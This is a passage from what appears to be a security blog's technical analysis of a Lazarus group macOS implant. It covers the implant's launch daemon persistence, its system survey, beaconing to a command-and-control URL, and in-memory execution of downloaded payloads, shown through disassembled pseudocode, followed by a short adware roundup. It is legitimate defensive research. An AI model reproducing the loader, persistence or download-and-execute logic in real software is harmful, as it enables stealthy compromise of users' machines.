1?xml version="1.0" encoding="UTF-8"?>
2
3 4 5 Label 6 vip.unioncrypto.product 7 ProgramArguments 8 9 /Library/UnionCrypto/unioncryptoupdater 10 11 RunAtLoad 12 13 14 As the RunAtLoad key is set to true this instruct macOS to automatically launch the binary specified in the
ProgramArguments array each time the infected system is rebooted. As such
/Library/UnionCrypto/unioncryptoupdater will be automatically (re) executed.
Capabilities: 1st-stage implant (in-memory module loader)
Ok, time to analyze the persisted unioncryptoupdater binary.
Via the file command we can ascertain its a standard macOS (64bit) binary:
https://objective-see.com/blog/blog_0x53.html
Page 72 of 82
$ file /Library/UnionCrypto/unioncryptoupdater
/Library/UnionCrypto/unioncryptoupdater: Mach-O 64-bit executable x86_64
The codesign utility shows us both it identifier ( macloader-55554944ee2cb96a1f5132ce8788c3fe0dfe7392 ) and
the fact that itâs not signed with a valid code signing id, but rather adhoc ( Signature=adhoc ):
$ codesign -dvv /Library/UnionCrypto/unioncryptoupdater
Executable=/Library/UnionCrypto/unioncryptoupdater
Identifier=macloader-55554944ee2cb96a1f5132ce8788c3fe0dfe7392
Format=Mach-O thin (x86_64)
CodeDirectory v=20100 size=739 flags=0x2(adhoc) hashes=15+5 location=embedded
Signature=adhoc
Info.plist=not bound
TeamIdentifier=not set
Sealed Resources=none
Internal requirements count=0 size=12
Running the strings utility (with the -a flag) reveals some interesting strings:
$ strings -a /Library/UnionCrypto/unioncryptoupdater
curl_easy_perform() failed: %s
AES_CYPHER_128 encrypt test case:
AES_CYPHER_128 decrypt test case:
AES_CYPHER_192 encrypt test case:
AES_CYPHER_192 decrypt test case:
AES_CYPHER_256 encrypt test case:
AES_CYPHER_256 decrypt test case:
Input:
IOPlatformExpertDevice
IOPlatformSerialNumber
/System/Library/CoreServices/SystemVersion.plist
ProductVersion
ProductBuildVersion
Mac OS X %s (%s)
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
/tmp/updater
%s %s
NO_ID
%s%s
12GWAPCT1F0I1S14
auth_timestamp
auth_signature
check
https://unioncrypto.vip/update
https://objective-see.com/blog/blog_0x53.html
Page 73 of 82
done
/bin/rcp
Could not create image.
Could not link image.
Could not find ec.
Could not resolve symbol: _sym[25] == 0x4d6d6f72.
Could not resolve symbol: _sym[4] == 0x4d6b6e69.
Strings such as IOPlatformSerialNumber and reference to the SystemVersion.plist likely indicate basic
survey capabilities (to gather information about the infected system). The reference to libcurl API
( curl_easy_perform ) and embedded url https://unioncrypto.vip/update indicate networking and/or
command and control capabilities.
Opening a the binary ( unioncryptoupdater ) in a disassembler, shows the main function simply invoking a
function named onRun :
1int _main() {
2 rbx = objc_autoreleasePoolPush();
3
4 onRun();
5
6 objc_autoreleasePoolPop(rbx);
7 return 0x0;
8}
Though rather long and involved we can break down its logic.
1. Instantiate a C++ class named Barbeque: Barbeque::Barbeque(); By piping the output of the nm utility
into c++filt we can dump other methods from the Barbeque class:
$ nm unioncryptoupdater | c++filt
unsigned short Barbeque::Barbeque()
unsigned short Barbeque::get( ... )
unsigned short Barbeque::post( ... )
unsigned short Barbeque::~Barbeque()
Based on method names, perhaps the Barbeque class contains network related logic?
\
2. Invokes a function named getDeviceSerial to retrieve the system serial number via IOKit
( IOPlatformSerialNumber ):
https://objective-see.com/blog/blog_0x53.html
Page 74 of 82
1int __Z15getDeviceSerialPc(int * arg0) {
2
3 ...
4
5 r15 = *(int32_t *)*_kIOMasterPortDefault;
6 rax = IOServiceMatching("IOPlatformExpertDevice");
7 rax = IOServiceGetMatchingService(r15, rax);
8 if (rax != 0x0) {
9 rbx = CFStringGetCString(IORegistryEntryCreateCFProperty(rax,
10 @"IOPlatformSerialNumber", **_kCFAllocatorDefault, 0x0),
11 r14, 0x20, 0x8000100) != 0x0 ? 0x1 : 0x0;
12
13 IOObjectRelease(rax);
14 }
15 rax = rbx;
16 return rax;
17}
Debugging the malware (in a VM), shows this method correctly returns the virtual machineâs serial number
( VM+nL/ueNmNG ):
(lldb) x/s $rax
0x7ffeefbff810: "VM+nL/ueNmNG"
\
3. Invokes a function named getOSVersion in order to retrieve the OS version, by reading the system file,
/System/Library/CoreServices/SystemVersion.plist (which contains various version-related
information):
$ defaults read /System/Library/CoreServices/SystemVersion.plist
{
ProductBuildVersion = 18F132;
ProductCopyright = "1983-2019 Apple Inc.";
ProductName = "Mac OS X";
ProductUserVisibleVersion = "10.14.5";
ProductVersion = "10.14.5";
iOSSupportVersion = "12.3";
}
Again in the debugger, we can observe the malware retrieving this information (specifically the
ProductName , ProductUserVisibleVersion , and ProductBuildVersion ):
https://objective-see.com/blog/blog_0x53.html
Page 75 of 82
(lldb) x/s 0x7ffeefbff790
0x7ffeefbff790: "Mac OS X 10.14.5 (18F132)"
4. Builds a string consisting of the time and hardcode value (key?): 12GWAPCT1F0I1S14
1sprintf(&var_130, "%ld", time(0x0));
2rax = sprintf(&var_1B0, "%s%s", &var_130, "12GWAPCT1F0I1S14");
5. Invokes the Barbeque::post() method to contact a remote command & control server
( https://unioncrypto.vip/update ): The network logic leverages via libcurl to perform the actual
communications:
1curl_easy_setopt(*r15, 0x2727);
2curl_easy_setopt(*r15, 0x4e2b);
3curl_easy_setopt(*r15, 0x2711);
4rdi = *r15;
5curl_easy_setopt(rdi, 0x271f);
6rax = curl_easy_perform(*r15);
Our firewall LuLu easily detects this connection attempt:
6. If the server responds with the string "0" the malware will sleep for 10 minutes, before checking in again
with the server:
1if (std::__1::basic_string ... ::compare(rbx, 0x0, 0xffffffffffffffff, "0", 0x1) == 0x0)
2{
3 sleep(0x258);
https://objective-see.com/blog/blog_0x53.html
Page 76 of 82
4 goto connect2Server;
5}
Otherwise it will invoke a function to base64 decode the serverâs respond, followed by a function named
processUpdate to execute a downloaded payload from the server.
Ok, so weâve got a fairly standard persistent 1st-stage implant which beacons to a remote server for (likely) a 2nd-
stage fully-featured implant.
At this time, while the remote command & control server remains online, it simply it responding with a â0â,
meaning no payload is provided :( \
As such, we must rely on static analysis methods for the remainder of our analysis.
However, the is one rather unique aspect of this 1st-stage implant: the ability to execute the received payload,
directly from memory!
Looks take a closer look at how the malware implements this stealthy capability.
Recall that if the server responds with payload (and not a string "0" ), the malware invokes the processUpdate
function. First the processUpdate decrypts said payload (via aes_decrypt_cbc ), then invokes a function named
load_from_memory .
1aes_decrypt_cbc(0x0, r15, rdx, rcx, &var_40);
2memcpy(&var_C0, r15, 0x80);
3rbx = rbx + 0x90;
4r14 = r14 - 0x90;
5rax = _load_from_memory(rbx, r14, &var_C0, rcx, &var_40, r9);
The load_from_memory function first mmaps some memory (with protections: PROT_READ | PROT_WRITE |
PROT_EXEC). Then copies the decrypted payload into this memory region, before invoking a function named
memory_exec2 :
1int _load_from_memory(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5) {
2 r14 = arg2;
3 r12 = arg1;
4 r15 = arg0;
5 rax = mmap(0x0, arg1, 0x7, 0x1001, 0xffffffffffffffff, 0x0);
6 if (rax != 0xffffffffffffffff) {
7 memcpy(rax, r15, r12);
8 r14 = _memory_exec2(rax, r12, r14);
9 munmap(rax, r12);
10 rax = r14;
11 }
12 else {
13 rax = 0xffffffffffffffff;
https://objective-see.com/blog/blog_0x53.html
Page 77 of 82
14 }
15 return rax;
16}
The memory_exec2 function invokes the Apple API NSCreateObjectFileImageFromMemory to create an âobject
file imageâ from a memory buffer (of a mach-O file). Following this, the NSLinkModule method is called to link
the âobject file imageâ.
1int _memory_exec2(int arg0, int arg1, int arg2) {
2
3 ...
4 rax = NSCreateObjectFileImageFromMemory(rdi, rsi, &var_58);
5
6 rax = NSLinkModule(var_58, "core", 0x3);
7
As the layout of an in-memory process image is different from its on disk-in image, one cannot simply copy a file
into memory and directly execute it. Instead, one must invoke APIs such as
NSCreateObjectFileImageFromMemory and NSLinkModule (which take care of preparing the in-memory
mapping and linking).
Once the malware has mapped and linked the downloaded payload, it invokes a function named find_macho
which appears to search the memory mapping for MH_MAGIC_64 , the 64-bit âmach magic numberâ in the
mach_header_64 structure ( 0xfeedfacf ):
1int find_macho(int arg0, int arg1, int arg2, int arg3) {
2
3 ...
4
5 do {
6 ...
7 if ((*(int32_t *)__error() == 0x2) && (*(int32_t *)rbx == 0xfeedfacf)) {
8 break;
9 }
10
11 } while (true);
12}
Once the find_macho method returns, the malware begins parsing the in-memory mach-O file. It appears to be
looking for the address of LC_MAIN load command ( 0x80000028 ):
1if (*(int32_t *)rcx == 0x80000028) goto loc_100006ac7;
For an in-depth technical discussion of parsing mach-O files, see: âParsing Mach-O Filesâ.
https://objective-see.com/blog/blog_0x53.html
Page 78 of 82
The LC_MAIN load command contains information such as the entry point of the mach-O binary (for example,
offset 18177 for the unioncryptoupdater binary):
The malware then retrieves the offset of the entry point (found at offset 0x8 within the LC_MAIN load
command), sets up some arguments, then jumps to this address:
1//rcx points to the `LC_MAIN` load command
2r8 = r8 + *(rcx + 0x8);
3...
4
5//invoke payload's entry point!
6rax = (r8)(0x2, &var_40, &var_48, &var_50, r8);
Delightful! Pure in-memory execution of a remotely downloaded payload. 𤊠Sexy!
In 2015, at BlackHat I discussed this method of in-memory file execution as a means to increase stealth and
complicate forensics (See: âWriting Bad @$$ Malware for OS Xâ):
https://objective-see.com/blog/blog_0x53.html
Page 79 of 82
âŚkinda neat to see it (finally) show up in macOS malware in the wild!
\
Former #OBTS speaker Felix Seele (@c1truz_) noted that the (in)famous InstallCore adware also (ab)used the
NSCreateObjectFileImageFromMemory and NSLinkModule APIs to achieve in-memory execution.
Interestingly, the malware has a âbackupâ plan if the in-memory code execution fails. Specifically if
load_from_memory does not return 0 (success) it will write out the received payload to /tmp/updater and then
execute it via a call to system :
1rax = _load_from_memory(rbx, r14, &var_C0, rcx, &var_40, r9);
2if(rax != 0x0) {
3 fwrite(rbx, r14, 0x1, fopen("/tmp/updater", "wb"));
4 fclose(rax);
5
6 chmod("/tmp/updater", 0x1ff);
7 sprintf(&var_4C0, "%s %s", "/tmp/updater", &var_C0);
8
9 rax = system(&var_4C0);
10
11 unlink("/tmp/updater");
12}
Always good to handle error conditions and have a plan B!
https://objective-see.com/blog/blog_0x53.html
Page 80 of 82
Lazarus group continues to target macOS users with ever evolving capabilities. This sample, pushes the envelope
with the ability to remotely download and execute payloads directly from memory!
đž And All Others
This blog post provided a comprehensive technical analysis of the new mac malware of 2019. However as
previously noted, we did not cover adware or malware from previous years. Of course, this is not to say such
items are unimportant.
As such, here we include a list of other items and for the interested reader, and links to detailed writeups.
Chances are, if an Apple user tells you their Mac is infected, itâs likely adware. Over the years, Mac adware has
become ever more prolific as hackers seeks to financially âbenefitâ from the popularity of Cupertinoâs devices.
2019 saw a variety of new adware, plus various known samples continuing to evolve. Some of the most notable
adware-related events from 2019 include:
đž OSX.Pirrit
The ever prolific Pirrit adware continued to involve in 2019. In March, we analyzed a sample
(compiled as python bytecode) which utilized AppleScript to inject malicious JavScript into browser pages.
Writeup: âMac Adware, Ă la Pythonâ
đž OSX.NewTab
Though (still?) undetected by all the anti-virus engines on VirusTotal, OSX.NewTab appears to be a fairly
standard piece of macOS adware (that appears to inject code into browser sessions for âad impressionsâ).
Writeup: âOSX/NewTabâ
đž OSX.CrescentCore Masquerading as Adobe Flash Installer, CrescentCore attempts to installing other
(potentially) unwanted software on victim machines. Interestingly, by design it will not infect systems
running 3rd-party AV/security tools nor systems running within a VM.
Writeup: âOSX/CrescentCore: Mac malware designed to evade antivirusâ
Conclusion:
Well thatâs a wrap! Thanks for joining our âjourneyâ as we wandered through the macOS malware of 2019.
Looking forward, maybe weâll see a drop in malware affecting the latest version of macOS (Catalina), due to its
stringent notarization requirements âŚthough word on the street is itâs already bypassed:
https://objective-see.com/blog/blog_0x53.html
Page 81 of 82
\
Love these blog posts?
Support my tools & writing on patreon :)
Source: https://objective-see.com/blog/blog_0x53.html
https://objective-see.com/blog/blog_0x53.html
Page 82 of 82